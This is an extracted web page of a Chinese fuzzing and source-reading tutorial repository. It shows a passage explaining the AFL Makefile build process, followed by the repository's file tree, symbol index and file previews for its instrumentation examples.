v8::Local<v8::Context> context,
void* priv) {
mate::Dictionary dict(context->GetIsolate(), exports);
dict.SetMethod("send", &Send); // 在指定上下文中的exports 对象中设置send 函数的底层实现
// 省略无关代码
}
```
## Linux 下的编译过程
对于程序的编译步骤上面已经提及了,那么我们用些示例程序来讲述各种编译工具的运行原理
### Makefile
我们用AFL Fuzzer 作为例子,ls 列出目录文件,可以看到项目路径有一个Makefile 文件.

编译AFL 只需要在当前目录下进行`make` 命令即可对AFL Fuzzer 进行编译.

在窗口的输出可以看到`make` 命令调用`cc` 命令执行了编译操作,把afl-xx.c 文件编译成二进制程序并执行测试操作.这些编译的命令都是已经写好保存在Makefile 文件里面的,我们用`cat` 命令来查看文件的内容.
```shell
fcdeMacBook-Pro-2:afl-2.52b fc$ cat Makefile
#
# american fuzzy lop - makefile
# -----------------------------
#
# Written and maintained by Michal Zalewski <lcamtuf@google.com>
#
# Copyright 2013, 2014, 2015, 2016, 2017 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ---=== 设置环境变量 ===---
PROGNAME = afl
VERSION = $(shell grep '^\#define VERSION ' config.h | cut -d '"' -f2)
PREFIX ?= /usr/local
BIN_PATH = $(PREFIX)/bin
HELPER_PATH = $(PREFIX)/lib/afl
DOC_PATH = $(PREFIX)/share/doc/afl
MISC_PATH = $(PREFIX)/share/afl
# PROGS intentionally omit afl-as, which gets installed elsewhere.
PROGS = afl-gcc afl-fuzz afl-showmap afl-tmin afl-gotcpu afl-analyze
SH_PROGS = afl-plot afl-cmin afl-whatsup
CFLAGS ?= -O3 -funroll-loops
CFLAGS += -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign \
-DAFL_PATH=\"$(HELPER_PATH)\" -DDOC_PATH=\"$(DOC_PATH)\" \
-DBIN_PATH=\"$(BIN_PATH)\"
# ---=== 根据当前Linux 环境进行编译调整 ===---
ifneq "$(filter Linux GNU%,$(shell uname))" ""
LDFLAGS += -ldl
endif
ifeq "$(findstring clang, $(shell $(CC) --version 2>/dev/null))" ""
TEST_CC = afl-gcc
else
TEST_CC = afl-clang
endif
COMM_HDR = alloc-inl.h config.h debug.h types.h
# ---=== make 命令选择项目 ===---
# 如果是make all ,那就调用到all: 这个地方开始,如果是make afl-gcc 就从afl-gcc 开始
# make all 这里包含afl-gcc afl-fuzz afl-showmap afl-tmin afl-gotcpu afl-analyze (注意看PROGS 环境变量中指定了内容)afl-as
# 然后继续往下调用这些项目中指定的命令
all: test_x86 $(PROGS) afl-as test_build all_done
ifndef AFL_NO_X86
test_x86:
@echo "[*] Checking for the ability to compile x86 code..."
@echo 'main() { __asm__("xorb %al, %al"); }' | $(CC) -w -x c - -o .test || ( echo; echo "Oops, looks like your compiler can't generate x86 code."; echo; echo "Don't panic! You can use the LLVM or QEMU mode, but see docs/INSTALL first."; echo "(To ignore this error, set AFL_NO_X86=1 and try again.)"; echo; exit 1 )
@rm -f .test
@echo "[+] Everything seems to be working, ready to compile."
else
test_x86:
@echo "[!] Note: skipping x86 compilation checks (AFL_NO_X86 set)."
endif
afl-gcc: afl-gcc.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
set -e; for i in afl-g++ afl-clang afl-clang++; do ln -sf afl-gcc $$i; done
afl-as: afl-as.c afl-as.h $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
ln -sf afl-as as
afl-fuzz: afl-fuzz.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
afl-showmap: afl-showmap.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
afl-tmin: afl-tmin.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
afl-analyze: afl-analyze.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
afl-gotcpu: afl-gotcpu.c $(COMM_HDR) | test_x86
$(CC) $(CFLAGS) $@.c -o $@ $(LDFLAGS)
ifndef AFL_NO_X86
test_build: afl-gcc afl-as afl-showmap
@echo "[*] Testing the CC wrapper and instrumentation output..."
unset AFL_USE_ASAN AFL_USE_MSAN; AFL_QUIET=1 AFL_INST_RATIO=100 AFL_PATH=. ./$(TEST_CC) $(CFLAGS) test-instr.c -o test-instr $(LDFLAGS)
echo 0 | ./afl-showmap -m none -q -o .test-instr0 ./test-instr
echo 1 | ./afl-showmap -m none -q -o .test-instr1 ./test-instr
@rm -f test-instr
@cmp -s .test-instr0 .test-instr1; DR="$$?"; rm -f .test-instr0 .test-instr1; if [ "$$DR" = "0" ]; then echo; echo "Oops, the instrumentation does not seem to be behaving correctly!"; echo; echo "Please ping <lcamtuf@google.com> to troubleshoot the issue."; echo; exit 1; fi
gitextract_e897ksuu/
├── 1.Github.md
├── 11.AI 算法挖洞的一些尝试.md
├── 12.深入解析libfuzzer与asan.md
├── 13.逻辑漏洞自动化思路.emmx
├── 2.Fuzzing 模糊测试之数据输入.md
├── 3.Fuzzing 模糊测试之异常检测.md
├── 4.阅读源码.md
├── 5.程序编译原理.md
├── 6.静态程序分析原理.md
├── 7.动态程序分析原理.md
├── 8.玩转LLVM.md
├── 9.KLEE符号执行框架.md
├── P3 Ethereum 智能合约自动化审计议题投稿.pptx
├── P4 REX 框架与Auto Exploit Generation 符号执行原理.md
├── Think代码分析.emmx
├── hyper-v vmswitch debug.emmx
├── readme.md
└── 第12章附录数据/
├── diy_instrument_in_qemu_fuzzing/
│ ├── Makefile
│ ├── example1.c
│ ├── example2.c
│ ├── example3.c
│ ├── example4.c
│ ├── example5.c
│ ├── example6.c
│ ├── example7.c
│ ├── example8.c
│ ├── llvm-sanitizer/
│ │ ├── clang-fix.txt
│ │ ├── llvm/
│ │ │ └── lib/
│ │ │ └── Transforms/
│ │ │ └── Instrumentation/
│ │ │ └── SanitizerCoverage.cpp
│ │ └── llvm_compile.sh
│ ├── qemu_diy_device/
│ │ ├── Kconfig
│ │ ├── Makefile.objs
│ │ ├── diy_pci.c
│ │ ├── diy_pci_coverage.c
│ │ └── qemu_compile.sh
│ ├── sanitize_black_list.txt
│ ├── sanitize_converage.c
│ ├── sanitize_converage.h
│ └── signal_number.h
├── test_asan_granularity_int_2
├── test_asan_granularity_int_2.i64
├── test_case.i64
├── test_case_de
├── test_case_no
├── test_libfuzzer_1_with_libfuzzer
├── test_libfuzzer_1_with_libfuzzer_pc_table
├── test_libfuzzer_1_with_libfuzzer_pc_table.i64
├── test_libfuzzer_1_without_sanitize_coverage
├── test_libfuzzer_1_without_sanitize_coverage.i64
├── test_libfuzzer_2_with_old_libfuzzer
├── test_libfuzzer_2_with_old_libfuzzer.i64
├── test_libfuzzer_2_without_sanitize_coverage
├── test_libfuzzer_2_without_sanitize_coverage.i64
├── test_libfuzzer_3_with_new_libfuzzer
├── test_libfuzzer_3_with_new_libfuzzer.i64
├── test_libfuzzer_3_with_old_libfuzzer
└── test_libfuzzer_3_with_old_libfuzzer.i64
SYMBOL INDEX (83 symbols across 13 files)
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example1.c
function main (line 7) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example2.c
function try_write (line 6) | void try_write(int a) {
function try_read (line 17) | int try_read(int b) {
function main (line 30) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example3.c
function foo (line 7) | int foo(int b) {
function main (line 20) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example4.c
function foo1 (line 7) | int foo1(int b) {
function foo2 (line 19) | int foo2(int b) {
function foo3 (line 33) | int foo3(int b) {
function foo4 (line 49) | int foo4(int b) {
function foo5 (line 67) | int foo5(int b) {
function main (line 72) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example5.c
function foo1 (line 10) | int foo1(int b) {
function foo2 (line 22) | int foo2(int b) {
function foo3 (line 36) | int foo3(int b) {
function foo4 (line 52) | int foo4(int b) {
function foo5 (line 70) | int foo5(int b) {
function main (line 75) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example6.c
function foo1 (line 10) | int foo1(int b) {
function foo2 (line 22) | int foo2(int b) {
function foo3 (line 36) | int foo3(int b) {
function foo4 (line 52) | int foo4(int b) {
function foo5 (line 70) | int foo5(int b) {
function main (line 75) | int main(int argc,char** argv) {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example7.c
type data (line 7) | typedef struct {
function main (line 16) | int main() {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/example8.c
function main (line 5) | int main() {
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/llvm/lib/Transforms/Instrumentation/SanitizerCoverage.cpp
function SanitizerCoverageOptions (line 152) | SanitizerCoverageOptions getOptions(int LegacyCoverageLevel) {
function SanitizerCoverageOptions (line 175) | SanitizerCoverageOptions OverrideFromCL(SanitizerCoverageOptions Options) {
class ModuleSanitizerCoverage (line 201) | class ModuleSanitizerCoverage {
method ModuleSanitizerCoverage (line 203) | ModuleSanitizerCoverage(
method SetNoSanitizeMetadata (line 239) | void SetNoSanitizeMetadata(Instruction *I) {
class ModuleSanitizerCoverageLegacyPass (line 276) | class ModuleSanitizerCoverageLegacyPass : public ModulePass {
method ModuleSanitizerCoverageLegacyPass (line 278) | ModuleSanitizerCoverageLegacyPass(
method runOnModule (line 294) | bool runOnModule(Module &M) override {
method StringRef (line 308) | StringRef getPassName() const override { return "ModuleSanitizerCovera...
method getAnalysisUsage (line 310) | void getAnalysisUsage(AnalysisUsage &AU) const override {
function PreservedAnalyses (line 324) | PreservedAnalyses ModuleSanitizerCoveragePass::run(Module &M,
function Function (line 364) | Function *ModuleSanitizerCoverage::CreateInitCallsForSections(
function isFullDominator (line 527) | static bool isFullDominator(const BasicBlock *BB, const DominatorTree *D...
function isFullPostDominator (line 540) | static bool isFullPostDominator(const BasicBlock *BB,
function shouldInstrumentBlock (line 553) | static bool shouldInstrumentBlock(const Function &F, const BasicBlock *BB,
function IsBackEdge (line 588) | static bool IsBackEdge(BasicBlock *From, BasicBlock *To,
function IsInterestingCmp (line 603) | static bool IsInterestingCmp(ICmpInst *CMP, const DominatorTree *DT,
function GlobalVariable (line 696) | GlobalVariable *ModuleSanitizerCoverage::CreateFunctionLocalArrayInSection(
function GlobalVariable (line 717) | GlobalVariable *
function ModulePass (line 1021) | ModulePass *llvm::createModuleSanitizerCoverageLegacyPassPass(
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci.c
type PCITestDevState (line 17) | typedef struct PCITestDevState {
function pci_testdev_write (line 39) | static void
function pci_testdev_read (line 56) | static uint64_t
function pci_testdev_mmio_write (line 64) | static void
function pci_testdev_pio_write (line 71) | static void
function pci_testdev_realize (line 90) | static void pci_testdev_realize(PCIDevice *pci_dev, Error **errp)
function pci_testdev_uninit (line 110) | static void
function pci_testdev_reset (line 116) | static void
function diy_pci_device_reset (line 121) | static void diy_pci_device_reset(DeviceState *dev)
function diy_pci_class_init (line 127) | static void diy_pci_class_init(ObjectClass *klass, void *data)
function diy_pci_register_types (line 155) | static void diy_pci_register_types(void)
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci_coverage.c
type PCITestDevState (line 19) | typedef struct PCITestDevState {
function foo1 (line 42) | int foo1(int b) {
function foo2 (line 54) | int foo2(int b) {
function foo3 (line 68) | int foo3(int b) {
function foo4 (line 84) | int foo4(int b) {
function foo5 (line 102) | int foo5(int b) {
function pci_testdev_write (line 107) | static void
function pci_testdev_read (line 132) | static uint64_t
function pci_testdev_mmio_write (line 140) | static void
function pci_testdev_pio_write (line 147) | static void
function pci_testdev_realize (line 166) | static void pci_testdev_realize(PCIDevice *pci_dev, Error **errp)
function pci_testdev_uninit (line 186) | static void
function pci_testdev_reset (line 192) | static void
function diy_pci_device_reset (line 197) | static void diy_pci_device_reset(DeviceState *dev)
function diy_pci_class_init (line 203) | static void diy_pci_class_init(ObjectClass *klass, void *data)
function diy_pci_register_types (line 231) | static void diy_pci_register_types(void)
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.c
function ATTRIBUTE_NO_SANITIZE_ALL (line 32) | ATTRIBUTE_NO_SANITIZE_ALL
function ATTRIBUTE_NO_SANITIZE_ALL (line 58) | ATTRIBUTE_NO_SANITIZE_ALL
function ATTRIBUTE_NO_SANITIZE_ALL (line 85) | ATTRIBUTE_NO_SANITIZE_ALL
function ATTRIBUTE_NO_SANITIZE_ALL (line 93) | ATTRIBUTE_NO_SANITIZE_ALL
FILE: 第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.h
type uint_t (line 38) | typedef uint64_t uint_t;
type ufloat (line 39) | typedef float ufloat;
type uint_t (line 41) | typedef uint32_t uint_t;
type ufloat (line 42) | typedef float ufloat;
type __sancov_trace_pc_map (line 45) | typedef struct {
Condensed preview — 56 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (576K chars).
[
{
"path": "1.Github.md",
"chars": 4257,
"preview": "\n\n\n## 必备工具\n\n Git ,Github \n\n\n## 从Github 开始\n\n Github 是代码分享平台,使用Github 能够找到很多开源项目,关于Github 不多做介绍了,下面分享些使用Github 读代码的操作\n\n\n"
},
{
"path": "11.AI 算法挖洞的一些尝试.md",
"chars": 20727,
"preview": "\n\n## 漏洞特征码筛选\n\n\n\n#### 漏洞代码特征对比\n\n\n\nNLP 算法普遍运用在恶意代码识别分类,最核心的一点还是通过黑白代码样本进行分类(参考https://xz.aliyun.com/t/5666 ,https://xz.ali"
},
{
"path": "12.深入解析libfuzzer与asan.md",
"chars": 84793,
"preview": "\n\n\n\n## LLVM下的插桩简述\n\n\n\n 关于LLVM的编译过程网上已经有很多的分析,在此挑选出与本文相关的地方做简单的复述:\n\n\n\n1. LLVM前端把代码序列化为AST树,编译成LLVM IR.\n2. 编译为LLVM IR后,通过各"
},
{
"path": "2.Fuzzing 模糊测试之数据输入.md",
"chars": 29734,
"preview": "\n\n## 必备工具\n\n Python ,Source Insight\n\n\n## Fuzzing 与代码覆盖率\n\n 前面一章说到在Github 上快速阅读代码,这样有助于我们去了解关于我们要挖掘漏洞的目标的一些理解,对于程序有了一些理解之"
},
{
"path": "3.Fuzzing 模糊测试之异常检测.md",
"chars": 13534,
"preview": "\n\n## 必备工具\n\n Python ,Python-face_recognition ,PHP ,Python-Requests ,Pydasm ,Pydbg\n\n\n## Fuzzing 的异常检测\n\n 上一章的结尾部分提到,程序运行包"
},
{
"path": "4.阅读源码.md",
"chars": 35672,
"preview": "\n读代码要带有目的去读,是要挖漏洞还是想要了解这个程序到在底干了些什么\n\n要理解整体的时候,千万不要在某个细节里钻牛角尖\n\n要一边理解细节一边挖洞的时候,记得要联想到所有可能的情况\n\n\n## 必备工具\n\n Source Insight ,"
},
{
"path": "5.程序编译原理.md",
"chars": 26351,
"preview": "\n\n\n## 必备工具\n\n clang ,Python \n\n\n## 二进制编译原理\n\n 本节深入理解编译原理的各个部分,旨在于了解程序编译过程中编译器或脚本解析器做了哪些事情和实现细节,如果我们要在编译过程中进行Fuzzing 应该要怎么"
},
{
"path": "6.静态程序分析原理.md",
"chars": 59556,
"preview": "\n\n## 必备工具\n\n Python ,cparser (https://github.com/tscosine/cparser/) \n\n## 静态代码分析基本原理\n\n 静态代码分析是基于有源码的情况下根据已有的规则来匹配源码中是否可能"
},
{
"path": "7.动态程序分析原理.md",
"chars": 81513,
"preview": "\n\n## 必备工具\n\n Python ,Triton (https://github.com/JonathanSalwan/Triton) \n\n\n## 动态代码分析基本原理\n\n 动态代码执行主要是使用调试模式或者模拟执行的模式跟踪执行程"
},
{
"path": "8.玩转LLVM.md",
"chars": 8688,
"preview": "\n\n## 必备工具\n\nclang ,LLVM 源码\n\n\n## LLVM 架构原理\n\n 前面第五章已经提到了LLVM 的架构,主要分为三部分:前端,优化器和后端.\n\n\n\n\n## LLVM 前端\n\n LL"
},
{
"path": "9.KLEE符号执行框架.md",
"chars": 19701,
"preview": "\n\n## 必备工具\n\nclang ,LLVM ,KLEE (https://github.com/klee/klee.git )\n\n\n## 什么是KLEE 和KLEE 的用处\n\n 在第六第七章我们已经了解到符号执行的基本原理并使用Trit"
},
{
"path": "P4 REX 框架与Auto Exploit Generation 符号执行原理.md",
"chars": 15513,
"preview": "## 一 什么是Auto Exploit Generation\n\n Auto Exploit Generation (AEG)意为自动化利用代码生成,通常我们把得到的崩溃样本经过一系列的分析,根据崩溃点和执行环境上下文来推算该异常能否被"
},
{
"path": "readme.md",
"chars": 1861,
"preview": "\n## How to Read Source and Fuzzing\n\n 1-4 章主要是一些阅读源码和Fuzzing 编写经验,章节里面结合了大量真实的例子,包括阅读源码和Fuzzer 编写的例子\n\n 5-6 章主要介绍程序分析的原理"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/Makefile",
"chars": 860,
"preview": "\nCLANG = clang-sp\nCLANGPP = clang++\n\nobj-m += kvm_hypercall.o\n\nall:\n\t${CLANG} -g -fsanitize-coverage=trace-pc-guard san"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example1.c",
"chars": 174,
"preview": "\n\n#include <stdio.h>\n\n\n\nint main(int argc,char** argv) {\n printf(\"main running !!!\\n\");\n\n int a = 1;\n a += 2312"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example2.c",
"chars": 468,
"preview": "\n\n#include <stdio.h>\n\n\nvoid try_write(int a) {\n printf(\"try write !!!\\n\");\n\n if (a==1) {\n ;\n } else {\n "
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example3.c",
"chars": 321,
"preview": "\n\n#include <stdio.h>\n\n\n\nint foo(int b) {\n printf(\"foo !!\\n\");\n\n if (b==1) {\n ;\n } else {\n ;\n }"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example4.c",
"chars": 946,
"preview": "\n\n#include <stdio.h>\n\n\n\nint foo1(int b) {\n printf(\"foo1 !!\\n\");\n\n if (b==1) {\n ;\n } else {\n foo2("
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example5.c",
"chars": 1155,
"preview": "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define random(x) (rand()%x)\n\n\nint foo1(int b) {\n printf("
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example6.c",
"chars": 1093,
"preview": "\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define random(x) (rand()%x)\n\n\nint foo1(int b) {\n printf("
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example7.c",
"chars": 3148,
"preview": "\n#include <stdio.h>\n\n#define MAX_SIZE (0x100)\n\n\ntypedef struct {\n char buffer[MAX_SIZE];\n int a;\n int b;\n in"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/example8.c",
"chars": 201,
"preview": "\n#include <stdio.h>\n\n\nint main() {\n int a=1;\n char buffer[10] = {0};\n int b=2;\n\n printf(\"using a -> %d\\n\",a)"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/clang-fix.txt",
"chars": 2372,
"preview": "\n\n## 1.clang-11 Compile Error in Make\n\nfuzzing@fuzzing-virtual-machine:~/Desktop/vm_qemu/qemu_fuzzer/instrument$ make &&"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/llvm/lib/Transforms/Instrumentation/SanitizerCoverage.cpp",
"chars": 43080,
"preview": "//===-- SanitizerCoverage.cpp - coverage instrumentation for sanitizers ---===//\n//\n// Part of the LLVM Project, under t"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/llvm-sanitizer/llvm_compile.sh",
"chars": 274,
"preview": "cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF -DLLVM_ENABLE_PROJECTS='clang' ../../llvm-project-llvmorg-11."
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/Kconfig",
"chars": 1661,
"preview": "config APPLESMC\n bool\n depends on ISA_BUS\n\nconfig MAX111X\n bool\n\nconfig TMP105\n bool\n depends on I2C\n\ncon"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/Makefile.objs",
"chars": 3665,
"preview": "common-obj-$(CONFIG_APPLESMC) += applesmc.o\ncommon-obj-$(CONFIG_MAX111X) += max111x.o\ncommon-obj-$(CONFIG_TMP105) += tmp"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci.c",
"chars": 4081,
"preview": "\n\n#include \"qemu/osdep.h\"\n#include \"hw/pci/pci.h\"\n#include \"hw/qdev-properties.h\"\n#include \"qemu/event_notifier.h\"\n#incl"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/diy_pci_coverage.c",
"chars": 4941,
"preview": "\n\n#include <stdio.h>\n\n#include \"qemu/osdep.h\"\n#include \"hw/pci/pci.h\"\n#include \"hw/qdev-properties.h\"\n#include \"qemu/eve"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/qemu_diy_device/qemu_compile.sh",
"chars": 375,
"preview": "cd ~/Desktop/vm_qemu/qemu_fuzzer/instrument\ncp ./sanitize_converage.o ../../qemu-5.0.0/\ncd ~/Desktop/vm_qemu/qemu-5.0.0/"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_black_list.txt",
"chars": 0,
"preview": ""
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.c",
"chars": 3981,
"preview": "\n#include <errno.h>\n#include <fcntl.h>\n#include <memory.h>\n#include <signal.h>\n#include <stdint.h>\n#include <stdio.h>\n#i"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/sanitize_converage.h",
"chars": 1269,
"preview": "\n#ifndef __SANITIZE_CONVERAGE_H__\n#define __SANITIZE_CONVERAGE_H__\n\n#ifdef __clang__ // avoid gcc warning.\n# if __has_"
},
{
"path": "第12章附录数据/diy_instrument_in_qemu_fuzzing/signal_number.h",
"chars": 335,
"preview": "\n#ifndef __SIGNAL_NUMBER_H__\n#define __SIGNAL_NUMBER_H__\n\n#define SIGRTMIN 34\n\n//#define SIGNAL_INVAL"
}
]
// ... and 22 more files (download for full content)
About this extraction
This page contains the full source code of the lcatro/How-to-Read-Source-and-Fuzzing GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 56 files (82.5 MB), approximately 161.4k tokens, and a symbol index with 83 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.